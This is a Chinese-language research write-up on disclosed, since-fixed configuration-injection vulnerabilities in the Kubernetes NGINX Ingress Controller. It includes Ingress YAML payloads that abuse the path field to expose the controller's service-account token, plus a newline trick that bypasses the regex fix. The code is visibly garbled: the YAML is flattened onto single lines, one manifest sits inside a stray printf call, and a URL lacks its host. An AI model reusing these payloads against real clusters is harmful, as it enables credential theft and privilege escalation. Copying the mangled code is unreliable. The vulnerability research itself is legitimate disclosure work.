Kubernetes NGINX Ingress Controller 中的新漏洞
序言

從 2021 年 10 月開始,NGINX 的 Kubernetes Ingress Controller開始受到安全研究人員的關注。
曾披露了CVE-2021-25742漏洞:攻擊者可以通過定制化的Snippets特性創建或修改集群中的Ingress實例,從而獲取集群中所有的Secret實例信息。
CVE-2021-25742 的要點是:攻擊者能夠使用片段注釋功能將 Lua 代碼作為 NGINX 配置的一部分注入服務器塊中。由于當時 NGINX Kubernetes Ingress Controller 的設計不安全,攻擊者可以利用 Lua 代碼執行來獲取 Ingress Controller 訪問令牌(該令牌在 Kubernetes 集群內具有高權限)。
研究歷程
在 CVE-2021-25742 發布后的幾個月內,Lightspin 和其他研究人員發現了三個利用 NGINX Kubernetes Ingress Controller 配置文件注入的新 CVE:CVE-2021-25745、CVE-2021-25746、CVE-2021 -25748:
(CVE-2021-25745)
https://github.com/kubernetes/ingress-nginx/issues/8502
(CVE-2021-25746)
https://github.com/kubernetes/ingress-nginx/issues/8503
(CVE-2021 -25748)
https://github.com/kubernetes/ingress-nginx/issues/8686
探討

1、Kubernetes NGINX Ingress Controller 漏洞頻發的原因
Ingress Controller 之所以成為攻擊者和研究人員的理想目標,主要有三個原因。
- 流行:根據公開研究,大多數 Kubernetes 集群使用 NGINX 作為其入口控制器。以下是CNCF 2021 年針對使用過的 Kubernetes Ingress 提供商的調查結果。NGINX 的 Ingress Controller 用于全球 50% 的響應集群。

- 高權限:默認情況下,NGINX Ingress Controller在集群中擁有一個具有強大權限的服務帳戶,例如能夠獲取集群中的任何密鑰。如果 Kubernetes 集群中有一個服務帳戶綁定到一個高特權集群角色(例如“cluster-admin”),攻擊者可以輕松地從 NGINX Ingress Controller轉移到另一個服務帳戶。
- 開源:在過去的幾年里,軟件供應鏈風險一直是安全社區的頭等大事,就 NGINX Ingress Controller而言,它的流行應該會加劇這種擔憂。
根本原因
作為 Ingress-NGINX 實現的一部分,有兩個主要組件在運行:
- NGINX Web 代理服務器:接收傳入請求并根據nginx.conf配置文件中編寫的規則路由它們。
- Ingress controller: 負責通過將其解釋添加到nginx.conf配置文件來滿足 Ingress 資源規則的組件。
- 在安全設計中,應該有一種方式從 Ingress 控制器訪問 NGINX Web 代理nginx.conf配置文件以進行規則更新。NGINX Web 代理進程不應該對 Ingress 控制器資源有任何訪問權限。

添加到 Ingress 控制器的ingress-nginx集群角色使這種分離更加重要,這將決定它在集群中正確運行。此集群角色具有強大的權限,例如獲取集群范圍內的所有密鑰。不幸的是,這種分離還沒有完全實現,這使得 Ingress-NGINX 成為在集群內進行提權的較好途徑。

2、CVE-2021-25745:使用Ingress資源注入nginx.conf
該過程的一個重要部分是了解 Ingress 資源定義如何轉換為nginx.conf文件中的配置塊。首先,創建一個簡單的 Ingress 資源。
printf("hello worlapiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: /gafpathType: Prefixbackend:service:name: some-serviceport:number: 5678d!");
創建 Ingress 資源后,我們可以檢查nginx.conf文件中的更改。
kubectl exec -it <ingress-nginx-controller-pod> -n ingress-nginx -- cat /etc/nginx/nginx.conf | grep gaf -A 20 -B 20

有多個字段的值被注入到nginx.conf文件中(path, namespace, Ingress name, service name and port)。但它們中的大多數被 DNS 使用,并且僅限于字母數字字符、數字、“-”或“.”。唯一可以包含任何字符的字段是路徑。
通過操作路徑字段中的值,我們可以關閉配置中的當前位置塊,并打開一個新塊,可以包含任意我們想輸入的內容,即“配置注入”。由于 NGINX 有可以提供靜態內容的指令,我們可以使用指令或 Lua 代碼來獲取ingress-nginx服務帳戶令牌。
alias指令的payload:
apiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaapathType: Prefixbackend:service:name: some-serviceport:number: 5678
root指令的payload:
apiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: /serviceaccount{root /var/run/secrets/kubernetes.io;}location ~* ^/aaapathType: Prefixbackend:service:name: some-serviceport:number: 5678
這是使用alias指令payload后生成的 nginx.conf 內容:

現在我們可以從 http:///gaf/token訪問 Ingress 控制器服務帳戶令牌。

3、CVE-2021-25748:修復和繞過
作為 CVE-2021-25745 修復的一部分,Kubernetes 團隊為 Ingress 對象規范實施了深度檢查( https://github.com/kubernetes/ingress-nginx/pull/8456/commits/83107e0af40b99066b6a72faf33d95a969d17b18 )。
該檢查器使用正則表達式模式列表來驗證 Ingress 字段的值,如下所示。

雖然整體實現實現了其目標,但我們仍然發現上述正則表達式模式存在兩個問題:
- / var/run鏈接到/run。所以,我們可以訪問/run/secrets/kubernetes.io/serviceaccount/token
- 我們可以使用換行符 (\n) 繞過 '.*;' 查看。
這是一個繞過正則表達式payload示例,正如我們所解釋的:
apiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: "/gaf{alias #\n/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa"pathType: Prefixbackend:service:name: some-serviceport:number: 5678
上述情況已經報告給了Kubernetes,隨后在 NGINX Ingress Controller 的 1.2.1 版本中得到修復。作為更新修復的一部分, alias 和 root 指令已被刪除,這使我們濫用正則表達式模式的方式無效。